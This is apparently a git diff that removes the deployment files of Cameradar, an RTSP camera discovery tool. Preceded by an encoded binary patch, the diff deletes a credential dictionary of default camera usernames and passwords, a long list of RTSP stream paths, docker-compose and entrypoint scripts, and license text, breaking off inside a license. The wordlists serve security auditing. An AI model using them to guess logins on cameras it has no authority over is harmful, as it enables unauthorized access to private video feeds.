zW3DbIc*2{X-a*%j@2+~81v?>qdr!rqKGwh2@x?gXk_{&Uh|M9%Cs*zSx(jS5T&VdQ zn2In`@X0Ry>*5^s{8Fy-RhPB7rlW#_A-&m^ONwM#Z*O;BqeYR&XMy4&+b_EMtj?$e zoz)Y!=bLx#L*91m3z)i%nz{#ks(g|DChd9%`1aG8gs}uk^&2qV33oJkwRtd!!IuU# zpsCB|ChAp-MLckG9?wqcM{`TPnoM2^3z^g5l`i`0x;(7VnN>Yw!0f>811`dkd#)G~ z0GR-qD?Y3IG)jI0Z0tZT#BI0y()P&J*IxF6tks#n?&osIA8Ll z81pVg2ldWNWAyDv@U8LVzTd{<9Bm6n+#gd)FPt$e$l7_7sW7&mtDvsFPu7a%U;d2Y z5?vXl@F@0_A9qkqtFOQ51Nc&k4buPFeVa-;|5R*PMMajoUld{g;o+)cQ0vicwF~Q) zf9D(WhvwpdB_s_R)`O*C^|M@bf@0YxlXH@TDJ7(`Mb(eMZ zOMTnT-J++j>~4wP{88HKrFIy(3CL2FvJ3)b>&Y-c)~oW8m2t`?7%t+XhLyvQui_)|y>AM}E9H za7}*Z-s)V}TD#gog!#?IE>xeKO+4`YNxv!Z`0dTOj`I;tv6$SuaTTp){hu?;V3wga zo!cbAqPX9oXC3aln3}B$x`91%yLuH^^!rm^4X7+tOa|(k@({2KaQ!KdG@}N-NzF zTS}g_!ecH>5m_rD<#Wy|Drq&c zmg>B&#A}{tk~J=&yNSw`b>N?tQFV~7tIfo1qOh83DV7-MJ<)tV)4Sb<57_dxq&@H3 zT9$gr&x|}WOS${7mizBnH6J_cItUs@E2UHGHH-g6!Eii?ag zcb><{_xQ4ze?(~Y{ zq@nlYR2B+n24a|TH@+fkdb1``GBTTyX(y8DL`v?7h8eUY z$^uoKp1mS85R~*DV;Fhm{_;|fNxJrUBe|@ygmy+<5QW8LjHHsom{3TBR2lv3NlT?; zBjjP^m84AzIj0Nk<*q5I*;FVwLp&FRl`>+Dj5vdyj9QN+hA^{vc0xYPa*&}>mS!7|b7%nL$KEOfb*-{H25%d`0dYPnu#FvBpGC z9w9hV)0~yRJRz~l35lcPl1_-Z^Gq^aO-m6imoY(7(g{=3CZrgSv5v8^>R2rM1Sy0P z#4@X}tdK}YyUqN=RYJd>F+~aQ`%h6}iN~6JXV7V6WLwA{mC>z> zJmU;&+9tF@X2&FM@+Tf`_G}|&taGfxu8tVB`=qC9+|}tZV|hv8+2tPLm@)8EXI_yz zKj_z_eju`htc!=PHB|xVf>2_$il4Tp$l=n;fu>1ObD>od-TC>Yo_x1o4tix0#FWci zBD?GfzEVP0rSv4hZ)BI}5hA5$or%dsh502JJ`WYx={aZ4n38Fbz3a@zc7h}kk0TEu zdxu?+1k|nVEt%!O6c8#?`c2HiPEj3^l8wex!wNh_KGsC&df4U14pz`wVZ)JSi#2c( z>nS!F-1Jn^;QqA9=69}&iM|sv4b`f~nKH(pl7kM~Q);)*^_HIHDJ77XJ;U@y#vlp; znfnC#XJ)0(gW>-R1dXY#(5NggRaaW^SZ%bWP*cBcAIwP}j7T!DdZ}p;B>KtXk*CS? zG7=?EPk-&sF08PV1)}tsLms)jWG)%KOW5qqUuCA(m7ZZ(kb6!r zxzp2XrEu}LG@QPy9xrVpgZ+P>JQg=x{k~{9bzuxm2+X*4|Fb4oWz<)Gh8!^DqKbdXX_JNz&4q)5KlhQlT+ko zcMPy~x6#Aen|s(0@{UtJY&>-j1Ri!$(8Dq%h&-a($oAwHmKZry&;<*33&na)h`xeA zGcy9MbxI2lP9uccY^)hwBx>RYhrrp43?e3S{Pr?GX)M8WcDcLA@Ow>Fh%{b6MrZy# zJ;P<#6O3uzTrf8MhK$Yp!eOJj2n(^MU*?+M@~_fM3yVEQsfS{m8qDV6gTn9dU^EEwW<|n6efk1ow}!CT~7zne-#in2Bx{b?4-G%F1L{_H=X5M({^*C=Jz8MM1PQmod9E`Licfj}7g3s&H(xkJxlDWkp z_GWW|s2aVAS>!i8SE8mtEOvUEK~g`AqQdMPBd4s~Oamr)#0yI*+(m`N_ASjfxkcgQ zRvq}{$tGD_E_Ji#m#tWE>xrfQR(rhpr+FrZusVxd*)2V^Y31%Cs_2QPDo#z$G$JZu z(@#9vH6z0~F_n53A^N(&|!dl&~AA~elVhCY?g=TrOk#HIL+j0O&K>%_9fx( zoWf#vQCcyLt4pT=N5+|!UNf)hk#x5@)S7zD8ijb{wiF1Z_*a~xYcx{sFYk11BVIYR zEA+`Wcbqpv&`oKqe;W_Y0Xj}=!S*U!m!jRxJp(ptVU{?T{zXHE(&m|o5ttA}xKM=| zr4@Vv4>R4Ka8kLav~mLB{D9qK`ul=eSCro5`N}+IFh3P8e?j+E$U1-1Ndc9CR6H(F zagLV};wlZPGQXJ~1(nm%Gb0@6hn(SzwZ~ex;Io@exTccrvhruo^#}>=lpFOy3hy}} zaZ7*CL?Lm(i9*bd(+K0csFs$Vk!o~YvmZ_i3It~L0MjKpo*UBo(h~-uk;vNohvc!;?X#GAT1r96n6EWA8lm4Fx zA*T@>+7?hq$jVWT#GDJ4m8bPUFP+uKmJt%evVX`~aD+4GpP+^kBi%I4&6qLg+yWw& zLV1nz?3jNb-~I&tTB}sVdmCrt}DH1QsDKTMYdm? zq0rET!<>|WvbVpk9azP$$2A?lF7MVsMnN2pqj1H!eLhb~ZklQ5Psua_$75|Au41`O zPYNC3eu|X|-btr~MxMl)=imHDI5_T`n5afYaiKw~mX#R+bIc_N2r48*a6qq>MP_#} zlPuRfK}yRttuRwW3C5Wgbj=GV*v-4O|0XU(>Bu*5{3KFytg@a?1p$&!U|ft(_b zyQJI~5-~vNr6i}=r`9_xMNkuFW^!|aHzo98n%b`eN6tdbOSAX6LT_413ApU`vI1{; z5mijQ{IX8a6)+zoDZ|`Rjq(y=xt!I4NfI)a1q5DMWpTE*C@3F!a0pUjrWd3hP&-?7 z+qRMS^UGj~87yCy^3V+Y==Qr^=@rGrIQ9)$33sUIQeJ&3oc9-$Qh9I*ROKV)B3*$> zc6r>@>^*h|-Ax?y8f>0<3oDOUj6q9=1B(nXlt3WjVAVI2qwS6ik6-W$nR8}NA-`QK z#+D^aCnjn}VK&Vk#e>VJije2`C^Y@130xRT`V{$iz6B<#{V$uSK}*nNd|+TXEH-sw z_&daH{eLm#&Bc_P9)^r`Ba~8N8KKNjZ1($|)jNpQ*sK#Co=e*j;Jq zlo!qO62jeVWR(39k#ydhmzJ7oO!U!f%`PWZ3(bmbUpbNR5Mg1W9%(FMy41r?jsp?= z^oe7Q#?N&9>@mVe@qS@U(@zv)N$$@l`gdGyZ9LdLV3DpNtJK;H4?*`#GrhDhF9Bo| z10}HEnwB0@QMi6Zjfz;){77Lg&>5aQmTtm`PcF@;X0WR@N3MU@Lx6t`sfL=c7CT)d zT_{!C#_%8b<%zy1yHKQkid7NfY@2&Ykz^vM41|ETi7XV{fc_`NoC|wp5F3WfJJ~QN zmIP*7m`bH(F(EX3P2stn80t7{ydbs@@lkCb#uF4;*y0c#b=C+w%NkK$MkY(3d+hr` z7kGlNI3*O8G5ID5c&C}?NIrG7H+mzQN`7QH%0!~HGQYLio#JG|?x4r|fw+!VrtEW; zd5ZFglqao_=_4kbkw++@k+YgVjylk{T7u=^L5rD?M&>!&rDny6B|-EBvD9cm$ey=Q zHJxx|P!PD%dlTYNOJo2sFf2W!X)SOHWh-0}qBWnG>BV0yI4=!2V)vU%TaNE+#+R*( zlZwkB#6((7pAxcV8NyK=>6g$uK?Al{E3aNq2l@1tr=U<>C~C1hZ2FpzUD_1{|4icz zJHi;03sje(TI_pu<`cWcRZPQV%RK%N-;DLmOUW6VK+j92(^o^9_XL9v;$`nF_0nY* zmY94^Sy^j~bZO>cD9xD$b5pun6uNaabDPMKhP9kLBRMACm;xI=ky3^Ef(Nwjcjr^W zp|ov7->op3rEm`E8fb`7(0IA6C3k!>(?XnPWo0?;l03zgtX7?oI|M(1)$LNmV@zpd zmshinmw%qi%k&=R(S19c>TNuU!VI#>DkFDR$t5PJC$YF>NAX>OGbfdWbpI$WRy&vf72d2y-q}B=`oZ_| zq!Yftb->Kb#yn}>rt+l8Ql2`&iDFtxGfo6#dqt=~Pcv6E*n;7SCd9z=+-41-mh5x? zl*~cm0khS6Jj@MIb>J`Bf`Ky}?xv%;V?rEsVh{|?`O;hfOw(TDwu{_KM4CQtnUeCH zH2(u3XMd1-O=h2|*Fj0U-HOP>^zvXVFw5 z0^$8Z{#j9zuvWOOgE@oag_OY}Vrn8DfZN;^WuE6iz5*0)UI9ug5hFd)3-_xUz7OhL zn_r&ZAK`EzdAst9iHT#L*%?++q9S;i$pjR6N{#zVB%^z|Tkx!n{|5qpA@0q+Uu%|1-cr(+~ zu)-vkUyk#l{%Oo3gSejjFl#nMlh}wLc zFTQfq&1RV}Ky3!58Qs#v&!c*x}tX~U4GvricWEeEMicB<7d_vUUP^XG|cbu~i zRCQpl`G@nKfM* z8a=&<9z&0b;k6<|Nib$)lNI-PXga}Cb~{sm0|^&G)-C7?nnSgdT8HI^n#N7VIW+bY zn^NR)ms)2BP~9&heKnhriR$5GQKp#}AzBa~V$zs5)(n=Q+i{WA$)qx&)4s%ZwSn_9 z5arbtud+?&x!I*8FIKOi2xbKP2{Z$D@QWZ6I+mP_p($5hV0-rRGv1cuca`4oDP3i6 zI{vyMH2zwcdLpikd6>A?>>=d8Od~zDkY@8NHWiq3IzJU|qlhLy@w@X~#TgTf`I2?p z(id{Gs3w!b=*yg@V*wPyJi>6Sc5qaP~dGROhY)LZ#v!HLQKDemnwWe8!T zo6b`ERlj2-G(AOOP$jIQaNx$ppOebQwDeHtVBk+8ILpoo1iB{%-fovR*#wA!O4L4< zUy444+teJ%HvxSvH1EFE{?&x{QlW_`UhWja-MKBuSsJu!D&LsdRJQFH{sxhd_-aTysNv!!Wq?Me4($L%0O{ObyX?b)z2o3o>Ad%>^T6EJk)COZQ$Yc*<@oAy=B2+SO zzooMbeNh*Cmq()cci?3nP0HNX`2hc}CpF?NGtd>NbGn|MWMI6jOU)>AyJJ|#X~h>kC_tK z6X!J8N1i|n4?NR{ftVu$f#=_QqUJ{}#5e$%dGD6V^-?5pokY zn@FB)CFT56V!$R_#DInF9`u%SuBR-AsO7CqiIB~X4MJ`_s7zTo`=WA#VWKH0LIyXr z!2cPAuZw|EK-qcGA9Y!WG!sy#3=w>1NmFur+b;-&{m|##D?6Pt?P7Jld#AC2T=Ifrv{M{j>PK_%}24%v0 zqD`sZD$(Y*s{e(XPcyfwm6se2&bhrZgh27`&fvs-6N=m=XNkE%lsD^IDqi+A$xk39 z!M`NQx>7D$Wi8}ho&RT14*Nmr{TF6)NHot*%*KjmOi?Cq2nni9@RgH(=+X3vG}U8c z9w9#G@kVNSNsj4QgFQ@1LfRUeenAl#zrzUHA1hoetE9Ny+GuJWyRga9bM3#%qZ5?` z=`x5;Y4Rw1trgz0JS^PANG_=~GY;?9^OfczU5xyB^XQB1%jg^N3jLKvh0WrsA5RVD zG+&b?#0f~rj1n8aR3u+c%=8AIi#C_^G+5^fO%Xb|%~FKgZRQ|TX_PB<+qCG8(Z4Mm zGbCa$`07NFrzGEBz@pa`FA#0odia~F!@<~<#H4Eifqjz#na z(VD$MAL-P2xTFZp;+Em@rj-^ZL&11X2ieua4;4rO)2Zt?46E6CeOnz(hLWNqIEzgJi7cKw=&u!DOOpU$= zXQM6yONTxH_qMb`2HGVdXy1QQFhxmw6AkkPe^ie#_XvK7G9y@#A-cs$h8Zz8jeTu+ zeV*V8E*8l^_#H2kXhUyz{Tprs$vF{%Z;=T^AIAbq&D=n0PnKvln;y+!zvXz9M%E>Y>R0mFRv?Ph=Ur5@S zW;Crv1e~$|3hoH#80vTblJ?E_eVG9mf!&^+VG`}foKW*aTBhN0DRXrFwf7LTosseH zkY=h^)&47vzO14V=}~M#S}xHf3-c4m@6uPMk?-nlRXk`q$AB^880 zXJ)3xILNRvQxjap=`5vGa6P-}BSA)gmC!dRpVAi2go0HN zX^Y$EBksSaS)$wpgRcX$FmK?&RGBKuO4u7un|(p8{0>|PP3IX1C03sUq_tRTHSt&p zxn8pB<#~DXOIQBVn?%z>-z3@+d!?BaW~v?Qpk&(@S$$vM2+Q*xGa(#88cl`Hx9|*y zh9`^u74xt}DL6E)NF@51Dm8f@ZQKK|dF`k46d`$I4n7rwj(kNXp~&Yn zp)po?U0>^r|Flr$V1Gn-g}8f^io=1v7-JIrN-#Kc+2dQ68Q^f`+tUDJL97HwI)m47yW@QqDXvX^gls-)2I7QRFErGq)`M zf|CTgah1{&lys9!g7ZR{H5yGx$w-X#%%iU=ZL`;^d(Lk11&yJ1G#jsq#^n^0dP}@9 z#w-URLzWFQhraPLhOk;lK8?h{-eIkBx9E~uTjXMI5jE`3T#zlhjdx&!f`ZlP{gnEN z=NbbVzSHgT40Y>Hf4|g4IGlvJLnYWr~#MV{=9t@>=@mD*+l-INu`$OaBEZxTX=!> z-xk##^7c*Z9_FBz;xwKd#nB^Xf2A02L*(W(ym5m8ijZrfzfxjl@jb3| zDjZY~8JtRu`f9R_GAWy3Dy|{scuF(B1COJ1(edgSv_Z@MHZDt!Q zG!uKImG~QXGGNI?gevLXcoUnNV`GV_q;0Ov-prb|Z*OKbbG13Zh~|-_q`f;WrZq(f zJuu(DYLS#ey3W}Wuc5RN@+~&>_0w_Y`+0)jLCs#0Ca6krL>-#;f9+jMY$InK_XgUf ztpr=4N^L<<@u+%fjRGausf;1(-!JgM@J8l1r@&P8M5z1;JFHga9c`R?;L?psThBI;6+Xo)xr7KEj zAZ;HoZ>z<@3bA0QnC1kOxm?cDUdQJd1OPiV(r5Oun~SF}U!1Pgnh%@Sd~owAKQ~q( zz_8XhIG%;J4V;BS=t?|u9z7M$Jo`a{GGkqFXo-4r0G9KMW?7U|)$oXM#<{}lqH%4l zu>nFb@PuY#x<1R)w{=CkNYQqI?s-w+0Lu)9*hKeGo7CmP=$4V5&|NIytNCBOw0_{? z6qgv`xjmm*j%kwCigk6G(z1U7a(OVf3F6bF z;-g2B%&8Jw`$-{@oz(u2+H^ge#Ga7B0}!9kvA0zux2)$;2E!PUjmFe|0x@vx1(6lZ`vRd$J@K#*0Ynp&eFS!>9Ip=Y+(JYo(QNwFb3du%6{ zYRsJ21XBE02)iJbP=M?OQ?Ljul%ZIFGLlRU90mxop#VhAc~-&^)|Hg7myPm@@Ap#UV&^rN_faF3qeO&7rY~&W+(ww+E|>cV&Dpt z^3`!dZX*PHnAdsx64rS|c}1izpG#6SfGx}e13Cq!i#kkW1l71VW9gyc>cuaOD=@l^3E;7P2_vHL%P_V z52uluvLIS(j6J>G@ASL@@(vE#;1MEapx{qONb_36g=?A|kV~l+je2+Ma@C5V+)ZXp zCaZZQqhaW-H85h8MjmGdjH@Cux78f-l(MGIw01V>R<|!Es7b=|i|3*j06~)na(8q# zX@eAHYIek`j__K7jc<}5aq#W$B97vbu#^YwQ-b%vrpYPT{rA9h8i*SyK}N8dt)jx{LTZB! z3+ix(3QFGWh|35*!^yCx=X|b6;rc>_Itq#wisLsjkU$3TOQ~m4G%{^T9@7+98R=#{ zKHhtt&I2hzoMNPo>zZ4w8@PsJ+0&Y)pbcv_An2k@T4^y;XD}QLh`r~Xv#dFuXgpdK zkTmmWOhJi`XbytZIXHGHTudd17gIq0NHrjly}Lr<9yKBo0QQfuik76~u1o6NLg_m- z-LGRi*JzkEq@`sHIhS9>8Usn!B>xntzlwj?9pTGX1_b{WWw9wJu5Qfn857+SfL<9* z*vsJ#o(PPR0PR2oWPqaZv=p`89VEx#b5e#|e6&yE)Cz$J4wa?uNGV>kSrOfMN_bJIDE;u26Nw(Zs#wh}mklX}Xuu40D5@*`+H zPS)=ZwA&08JvW|Bj#oS$#+D^cxVLRy;tUk(B5Vqf(+Q13NdtJXd#{NGF9^VgBzOxm z{}u%ehzfFrxF_C;DUf7f*JD}EY&4Rk>x7_!wIFomk(;J&V)O|(M5Ae5i8SW`ZkHdhv(y(N`WsIsU;*qO=V2g zK%tX=u6dM|yC?3%h}d&g#GX;8)4)2LCXfuGG?N*Z58A{5?bDL0Eeh5S_>{F<@1wEj z_PqPlDiiW)Cgs8?`>%f(#xf=D|9PsJWvD6FC_&r9K?eVK?iX87ceOY#1>G~ta`tHnGCAOS8b%44Y9*xy5S@fP zsYQ$|0RMb&8k8dfSo;KokD`YW-i*s9KQtATO3Cf8pnR_E3u(IOG*(HLAI>9Arb33( ziTG3_L_qZae4;VA^^tal7-f*!jYcKcC?=OXoBZ5Xhn%khB$GxqB(b9 z>`xsGDv!ufo_pg7_Sb+4vRP>rtbkVGRyJCNrE;108cMnrVU+3)dmS{MzCd5@;nq5< z8PN20Gl3d_+RrLf^_c{BK)U4suq!94ia7zD>K$~Eno@OFH`-;BE;=MRS0%fzaZ8<1 zh5gm6$T^+?R+JN*onS5kqyoJfjJksn+w@%zs5U78>Lljv z)|q@Ap>w1|ngG7e1}DSe9gP=}9G|GPCz7yu01FG`y^0m9boGvwTQAdcn`ex(pdgP< z&1C?(Dm2$Sk;tBf8{$hvFZtALvoMZ2O-!XipoTQcNUm#r=sQF?mRtcqW^qP{li}J( zmz}wk6xN@w{WXu!zMKo>URMlF*-w;dDuIY=jV|v36xv*o9pKd#N9w$|(ze?CNev zTPg9nMfXjzIQ8?|#%}#)z1dj6j$RNn4tvUcWgYtIQe?4wfYXr}WG@v6Gku9uB1Qg^ zj3}*!*U8|PBHfyAD|wLnMb`OdUXzNvMDa|>+Aze4;Iy7?^0;JCJ<$u;5G-*j z(M@8vjMrE&u;-d5yR*ikqh70bHYkL{oX4Yqd{_Cz(Z7BpM@bI zwpFt+wZ-1RT{6OoN>pHE~Jgxh8|Yyh)T)^ml*7GsuKYn|Y8 zIJk2repzDn4u%fBb2@uXy}9p7v|e{DQx&7?^Z=34k~$2I_-q2aqL4_{4N>ehU;rJ^z+ z>;R93G{{a9)|4Bh)>h%KMhW9sox)%aIf8vav3)!Uyh>j?p$r9Ja}=(nJU_a?Let7K z4+bMmxhnKx(kqkt?O3oOVn^i$T z$Q=4^|1OO++FPMqGKW*(Rn!@ymfItCdy6P4S0zPd+Hdh4 zI&458$3i&z1m8oi)7k91qfx{InwZ8)Lbe6yCv6E;h@iF@rQAKni7593zE)QvV}-}1 zN$et+38x50SxP+0$}J$J87e#Ayt3=i06Z~N=&cE;8V*HE1uxM*bZ9@?=e(H15n^{8 zoD&+l-(G0FtTv}kWAla-wDLeq4&3EIf}w}Xa)y*$LH-?j&A63QzeRX>8rx(Iz<0k+ zf1=`$q@3eX&OBl&5nNf&yhR4sCYcD1$M~%9)J6gycv#YpLmLU0*>}~MU9KGzr7~l1 zYY`XpTsXV!4A$rLjM076hbU6#y3>^6@yn96*AvQdNu@A~dnK$^U^S2SbSWA-2GUu* zI)>R|>yE&W9jKmBg*DKt*X0id(?{~@X27{)JD6Pj%^0TLO_^yoHV$tpEuHA!5vx=V z5#4K8rNRoWoqMGB0rN!ysC1nWZ;zQtL@EUEa}re>adVak)*+TWq?$PNE6L8X=?r0s z<)|`TNmeIV0ZGcmBrLM-0DuHrB~bD%2eUM{@F=OhMdQ9Vz(=O%(WX?>_K8nGu4%ylcEcq^=6tOVj=5q49oidnq`4x>qsw@?Oa>y-WqJacBAfYh} zX!gw_eWZFV>j{yVLp`T06hV0Rc#XoSrvPZf&K#x!>ntK&p%H2Jr9;#uM;FaownG-= z@cOR3IzFb>uP`yu;1O=oL%vV@U>IxKPz$`-`*=34Q`k?KwG8J6{Bf(s2Yx)y_)-Nl z5@v}i@eLfW`4>0?zDbX}tPr z=E1xv2tnn#1Y%MjpLxf*@KCR#-7RSbh$Jp~yl|QV7pSVVubH^hXa`O$-5JP7z=1uT zRXCK+0IIz>Wwn>z1fTD6!NS6uCM_ye(ok9JVlZsuEN;rI2|K;BXPxX9(=DP22ks%B z4aTS|1XE}==A{Iz0rQzj)=41gBO$C*x!B&_QYS8#axEKhqJgPaOMF?e?C7(qe3}_9B z>E^xS>uQ0r*?BR(LaT|Sct+K60WTF2F<~M@JZhzp z3n6|3y|lz*OVwqi>Ql*w-yoUh0d*f>Dk_u;wxW7_qDabGb12*itxCVrxZ{lkMHZ8I z&K$TbWOC@xDab@XS3r=R9A>BIUug3wFg~E%?_4gPzWm3Z>u93ImS^Ito~Aslu9l}2 zlHy3~Rx zt>PJF;ucCB&68uNgGo#WfHb~IwtK0RLi8>~Gg(rkns`dG@*D29gB+*-1?OY7- z@3HM<%sx3sc;dvDN_^qq&&H_dk}vZAM!gByrHB9Ge^-x(_@4=}o>sf~UHqjXt!-XK zCr)>aPue-@jH6fh*V}E526AY2nf;jKj>ql=`;FlL)ApDip^I&?64?>kH~aaP@0V8F zTyrz0$2aiv8h)>$_7ncb z_Y&Ig;^%)q|9lvSpuSK62UxyQGx{U>k9-&e2S-<0;Bv~Ke4b-F!m#_#_l{QPQ(jY0DG z^v}n9%i2FszOU~8U-m86H-{z;|%!@nN$ zEo=X9r6fIGP>$!uHTGNK_4|NdzYkdZ(of^tKg0K5R^AWVSCsd!Dch%oeT$F3UuP5V zx0DH6oxi2NFFfAk`!D~2z5X_SerH9W|DG`H|I>5!&3`|LUq2o_9z7mC9zDM3kN*QN K@9t*+=qmsSi88MM diff --git a/deployment/conf/cameradar.tmpl.conf.json b/deployment/conf/cameradar.tmpl.conf.json deleted file mode 100644 index c883f74..0000000 --- a/deployment/conf/cameradar.tmpl.conf.json +++ /dev/null @@ -1,16 +0,0 @@ -{ - "mysql_db" : { - "host" : "cameradar-database", - "port" : 3306, - "user": "root", - "password": "$MYSQL_ROOT_PASSWORD", - "db_name": "cmrdr" - }, - "target" : "$CAMERAS_TARGET", - "ports" : "$CAMERAS_PORTS", - "rtsp_url_file" : "/cameradar/conf/url.json", - "rtsp_ids_file" : "/cameradar/conf/ids.json", - "thumbnail_storage_path" : "/tmp/thumbs", - "cache_manager_path" : "/cameradar/cache_managers", - "cache_manager_name" : "$CACHE_MANAGER" -} diff --git a/deployment/conf/ids.json b/deployment/conf/ids.json deleted file mode 100644 index 046b60c..0000000 --- a/deployment/conf/ids.json +++ /dev/null @@ -1,31 +0,0 @@ -{ - "username": [ - "", - "admin", - "Admin", - "root", - "supervisor", - "ubnt" - ], - "password" : [ - "", - "admin", - "9999", - "123456", - "pass", - "camera", - "1234", - "12345", - "fliradmin", - "system", - "jvc", - "meinsm", - "root", - "4321", - "1111111", - "password", - "ikwd", - "supervisor", - "ubnt" - ] -} \ No newline at end of file diff --git a/deployment/conf/url.json b/deployment/conf/url.json deleted file mode 100644 index 23af730..0000000 --- a/deployment/conf/url.json +++ /dev/null @@ -1,117 +0,0 @@ -{ - "urls" : [ - "/", - "/1.AMP", - "/1/stream1", - "/CAM_ID.password.mp2", - "/GetData.cgi", - "/MediaInput/h264", - "/MediaInput/mpeg4", - "/VideoInput/1/h264/1", - "/access_code", - "/access_name_for_stream_1_to_5", - "/av0_0", - "/av2", - "/avn=2", - "/axis-media/media.amp", - "/cam", - "/cam0_0", - "/cam0_1", - "/cam1/h264", - "/cam1/h264/multicast", - "/cam1/mjpeg", - "/cam1/mpeg4", - "/camera.stm", - "/ch0", - "/ch001.sdp", - "/ch01.264", - "/ch0_unicast_firststream", - "/ch0_unicast_secondstream", - "/channel1", - "/h264", - "/h264/media.amp", - "/image.mpg", - "/img/media.sav", - "/img/video.asf", - "/img/video.sav", - "/ioImage/1", - "/ipcam.sdp", - "/ipcam_h264.sdp", - "/live.sdp", - "/live/h264", - "/live/mpeg4", - "/live_mpeg4.sdp", - "/livestream", - "/livestream/", - "/media/media.amp", - "/media/video1", - "/mjpeg/media.smp", - "/mp4", - "/mpeg4", - "/mpeg4/1/media.amp", - "/mpeg4/media.amp", - "/mpeg4/media.smp", - "/mpeg4unicast", - "/mpg4/rtsp.amp", - "/multicaststream", - "/now.mp4", - "/nph-h264.cgi", - "/nphMpeg4/g726-640x", - "/nphMpeg4/g726-640x480", - "/nphMpeg4/nil-320x240", - "/play1.sdp", - "/play2.sdp", - "/rtpvideo1.sdp", - "/rtsp_live0", - "/rtsp_live1", - "/rtsp_live2", - "/rtsp_tunnel", - "/rtsph264", - "/stream1", - "/user.pin.mp2", - "/user_defined", - "/video", - "/video.3gp", - "/video.mp4", - "/video1", - "/video1+audio1", - "/vis", - "/wfov", - "/video.h264", - "/11", - "/12", - "/ch1-s1", - "/live3.sdp", - "/onvif-media/media.amp", - "/axis-media/media.amp", - "/axis-media/media.amp?videocodec=h264", - "/mpeg4/media.amp", - "/stream", - "/cam/realmonitor", - "/live", - "/video.pro2", - "/videoMain", - "/VideoInput/1/mpeg4/1", - "/VideoInput/1/h264/1", - "/video.pro3", - "/video.pro1", - "/video.mjpg", - "/h264_vga.sdp", - "/media.amp", - "/media", - "/ONVIF/MediaInput", - "/nphMpeg4/g726-640x48", - "/MediaInput/mpeg4", - "/MediaInput/h264", - "/Streaming/Channels/1", - "/ch0_0.h264", - "/rtsph2641080p", - "/live/av0", - "/cam1/onvif-h264", - "/ucast/11", - "/LowResolutionVideo", - "/1", - "/live/ch00_0", - "/medias2" - ] -} diff --git a/deployment/docker-compose.yml b/deployment/docker-compose.yml deleted file mode 100644 index ade7448..0000000 --- a/deployment/docker-compose.yml +++ /dev/null @@ -1,25 +0,0 @@ -version: '2' - -services: - cameradar: - build: . - container_name: cameradar - volumes: - - "./cameradar_thumbnails:/tmp/thumbs" - - ".:/tmp/shared" - environment: - - CAMERAS_TARGET=localhost - - CAMERAS_PORTS=554,8554 - - CACHE_MANAGER=dumb - - MYSQL_ROOT_PASSWORD=root - cameradar-database: - container_name: cameradar-database - image: mysql:5.7 - environment: - - MYSQL_ROOT_PASSWORD=root - - MYSQL_DATABASE=cmrdr - ports: - - "3306:3306" - -volumes: - mysql_data: diff --git a/deployment/docker-entrypoint.sh b/deployment/docker-entrypoint.sh deleted file mode 100755 index aeac541..0000000 --- a/deployment/docker-entrypoint.sh +++ /dev/null @@ -1,48 +0,0 @@ -#!/bin/bash - -ESC_SEQ="\x1b[" -COL_RESET=$ESC_SEQ"39;49;00m" -COL_GREEN=$ESC_SEQ"32;01m" - -# if command starts with an option, prepend /cameradar/bin/cameradar -if [ "${1:0:1}" = '-' ]; then - set -- /cameradar/bin/cameradar "$@" -fi - -# skip setup if they want an option that stops cameradar -wantHelp= -for arg; do - case "$arg" in - -v|-h) - wantHelp=1 - break - ;; - esac -done - -if [ "$CACHE_MANAGER" == "" ]; then - export CACHE_MANAGER="dumb" -fi - -if [ "$CAMERAS_TARGET" == "" ]; then - export CAMERAS_TARGET="0.0.0.0" -fi - -if [ "$CAMERAS_PORTS" == "" ]; then - export CAMERAS_PORTS="554,8554" -fi - -envsubst < /cameradar/conf/cameradar.tmpl.conf.json > /cameradar/conf/cameradar.conf.json - - -if [ "$CACHE_MANAGER" == "mysql" ] && [ "$1" = '/cameradar/bin/cameradar' -a -z "$wantHelp" ]; then - echo -n "Waiting for cameradar-database to be ready..." - while ! mysqladmin ping -h "cameradar-database" -P3306 --silent; do - sleep 1; echo -n "." - done - echo -e $COL_GREEN"ok"$COL_RESET - - echo "Cameradar init finished. Starting it." -fi - -exec "$@" diff --git a/deps/CMakeLists.txt b/deps/CMakeLists.txt deleted file mode 100644 index 9c4c276..0000000 --- a/deps/CMakeLists.txt +++ /dev/null @@ -1,23 +0,0 @@ -## Copyright 2016 Etix Labs -## -## Licensed under the Apache License, Version 2.0 (the "License"); -## you may not use this file except in compliance with the License. -## You may obtain a copy of the License at -## -## http://www.apache.org/licenses/LICENSE-2.0 -## -## Unless required by applicable law or agreed to in writing, software -## distributed under the License is distributed on an "AS IS" BASIS, -## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -## See the License for the specific language governing permissions and -## limitations under the License. - -cmake_minimum_required (VERSION 2.8.1) - -# Lib subdirectory - -include (jsoncpp) -include (mysql_connector) - -set_directory_properties(PROPERTIES CLEAN_NO_CUSTOM ON) -set (CAMERADAR_INSTALL_DEPENDENCIES ${CAMERADAR_INSTALL_DEPENDENCIES} PARENT_SCOPE) diff --git a/deps/licenses/boost.txt b/deps/licenses/boost.txt deleted file mode 100644 index 127a5bc..0000000 --- a/deps/licenses/boost.txt +++ /dev/null @@ -1,23 +0,0 @@ -Boost Software License - Version 1.0 - August 17th, 2003 - -Permission is hereby granted, free of charge, to any person or organization -obtaining a copy of the software and accompanying documentation covered by -this license (the "Software") to use, reproduce, display, distribute, -execute, and transmit the Software, and to prepare derivative works of the -Software, and to permit third-parties to whom the Software is furnished to -do so, all subject to the following: - -The copyright notices in the Software and this entire statement, including -the above license grant, this restriction and the following disclaimer, -must be included in all copies of the Software, in whole or in part, and -all derivative works of the Software, unless such copies or derivative -works are solely in the form of machine-executable object code generated by -a source language processor. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT. IN NO EVENT -SHALL THE COPYRIGHT HOLDERS OR ANYONE DISTRIBUTING THE SOFTWARE BE LIABLE -FOR ANY DAMAGES OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT OR OTHERWISE, -ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -DEALINGS IN THE SOFTWARE. \ No newline at end of file diff --git a/deps/licenses/jsoncpp.txt b/deps/licenses/jsoncpp.txt deleted file mode 100644 index efaf022..0000000 --- a/deps/licenses/jsoncpp.txt +++ /dev/null @@ -1,55 +0,0 @@ -The JsonCpp library's source code, including accompanying documentation, -tests and demonstration applications, are licensed under the following -conditions... - -The author (Baptiste 